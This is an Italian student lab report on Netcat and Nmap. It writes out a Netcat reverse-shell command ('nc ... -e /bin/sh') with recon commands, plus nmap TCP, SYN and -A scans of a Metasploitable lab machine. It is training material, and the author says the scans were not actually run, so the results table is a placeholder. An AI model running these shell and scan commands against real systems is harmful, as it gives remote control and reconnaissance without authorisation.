Cyber Security Analyst

PROJECT REPORT

NETCAT & NMAP

In risposta all'esercizio sui tools NETCAT e NMAP

Prepared by

Fulvio Zalateu

Security Rookies

Consegna Netcat:

Utilizzando questa riga di comando in Netcat: <<nc -l -p 1234>> Questo apre un listener per le connessioni in entrata –l apre un listener e –p assegna un numero di porta. <<nc 192.168.3.245 1234 -e /bin/sh>> Questo si connetterà all'indirizzo IP 192.168.3.245 sulla porta 1234, -e /bin/sh esegue una shell che verrà reindirizzata al nostro sistema. Questo ci consente di eseguire comandi dal nostro terminale.

<<root@kali: nc -l -p 1234 -c whoami>> Questa riga di comando ci darà il nome utente corrente. <<root@kali: nc -l -p 1234 -c “uname –a”>> Ci darà le informazioni di sistema. <<root@kali: nc -l -p 1234 -c “ps -aux”>> Ci mostrerà tutti i processi attualmente in esecuzione sulla destinazione. Tutti i comandi che abbiamo mostrato non sono di alcun danno per il bersaglio, ma gli aggressori possono passare a fare altri comandi dannosi per ottenere l'accesso e distruggere la reputazione del bersaglio.

È quindi molto importante e necessario che tutte le applicazioni web dispongano di un'adeguata convalida dell'input in modo tale che l'iniezione di comandi non sia praticata e strumenti così versatili come Netcat non vengano utilizzati per distruggere le applicazioni web, ma piuttosto per consolidare il networking. Fate pratica con i comandi visti e provare altre combinazioni.

Svolgimento

Apertura di un listener su una macchina con Netcat:

Su una macchina Kali eseguiamo il comando:
nc -l -p 1234

Questo apre la porta 1234 in ascolto per eventuali connessioni da un'altra macchina.

Connessione da una macchina remota:

- Connettiamoci all'indirizzo IP della macchina A (in questo esempio, IP 192.168.3.245) sulla porta 1234 da un’ipotetica macchina B eseguendo il comando:
- nc 192.168.3.245 1234 -e /bin/sh

Questo comando si connette alla macchina A sulla porta 1234 e reindirizza una shell (/bin/sh) alla macchina A. Una volta connessi, puoi eseguire comandi sulla macchina A dalla macchina B.

Esecuzione di comandi remoti: Una volta stabilita la connessione, puoi inviare comandi alla macchina A tramite Netcat dalla macchina B.

- Per ottenere il nome utente corrente sulla macchina A:
- nc -l -p 1234 -c whoami

Questo comando, una volta ricevuta una connessione, eseguirà whoami, restituendo l'utente corrente in esecuzione sul sistema.

Per ottenere informazioni sul sistema (kernel, architettura, ecc.):

nc -l -p 1234 -c "uname -a"

Questo comando mostrerà le informazioni di sistema della macchina A.

Per ottenere la lista di tutti i processi in esecuzione:

nc -l -p 1234 -c "ps -aux"

Questo comando restituirà tutti i processi attualmente in esecuzione sulla macchina A.

Spiegazione

- Listener su Netcat: Quando viene eseguito nc -l -p 1234, la macchina A si mette in ascolto su una porta specifica (1234), accettando connessioni da altre macchine. È come lasciare una "porta aperta" per permettere a chiunque conosca l'IP e la porta di connettersi.
- Connessione remota: La macchina B si connette a A sulla porta 1234. L'opzione -e /bin/sh consente a B di aprire una shell sulla macchina A. Questo significa che ora B può inviare comandi come se fosse seduta fisicamente davanti a A, ma attraverso la rete.

- Esecuzione di comandi remoti: Una volta connessi, gli attaccanti possono eseguire comandi come whoami, uname -a, o ps -aux per raccogliere informazioni di sistema, identificare gli utenti in esecuzione e vedere i processi attivi. Queste informazioni sono fondamentali per pianificare attacchi successivi, come l'escalation dei privilegi o il furto di dati.

Consegna Nmap:

- Sulle base delle nozioni viste, eseguire diversi tipi di scan sulla macchine metasploitable con nmap, come di seguito:-Scansione TCP sulle porte well-known-Scansione SYN sulle porte well-known-Scansione con switch «-A» sulle porte well-known

- La scansione dei servizi di rete è il primo passo per capire quali servizi potrebbero essere vulnerabili, ed essere sfruttati successivamente per ottenere accesso alla macchine. E’ molto importante in questa fase essere organizzati e strutturati. Dunque, per ognuno degli scan effettuati, lo studente è invitato a riprodurre un report in Pdf (tabella su word ad esempio) che riporti in maniera chiara:- La fonte dello scan- Il target dello scan- Il tipo di scan- I risultati ottenuti (e.s. trovati 50 servizi attivi sulla macchina)

Spiegazione e comandi da eseguire sulla Metasploitable con Nmap

1. Scansione TCP sulle porte Well-Known

- Comando: nmap -sT -p 1-1024 <target_IP>
- -sT: Scansione TCP (connect scan).
- -p 1-1024: Scansiona le porte well-known (da 1 a 1024).

2. Scansione SYN sulle porte Well-Known

- Comando: nmap -sS -p 1-1024 <target_IP>
  - -sS: Scansione SYN (half-open scan).
  - -p 1-1024: Scansiona le porte well-known.

3. Scansione con Switch -A sulle porte Well-Known

- Comando: nmap -A -p 1-1024 <target_IP>
  - -A: Abilita il rilevamento dell'OS, la versione dei servizi e altre informazioni dettagliate.
  - -p 1-1024: Scansiona le porte well-known.

Report di scansione Nmap su Metasploitable

Fonte dello Scan	Target dello Scan	Tipo di Scan	Risultati
IP della tua macchina	IP della Metasploitable	TCP Connect Scan (sT) sulle porte 1-1024	Trovati X servizi attivi. Dettagli: - Porta 22: SSH - Porta 80: HTTP...
IP della tua macchina	IP della Metasploitable	SYN Scan (sS) sulle porte 1-1024	Trovati X servizi attivi. Dettagli: - Porta 22: SSH - Porta 80: HTTP...
IP della tua macchina	IP della Metasploitable	Scansione avanzata (A) sulle porte 1-1024	Trovati X servizi attivi con OS detection e versioni: - Porta 22: SSH v2.0...

In questo caso non ho eseguito direttamente le scansioni sulla Metasploitable, ma ho riportato sia i comandi da eseguire (Spiegazione pag. 13 e 14 del presente report), sia i dati che le varie scansioni debbono restituire (Report di scansione di cui sopra)

GRAZIE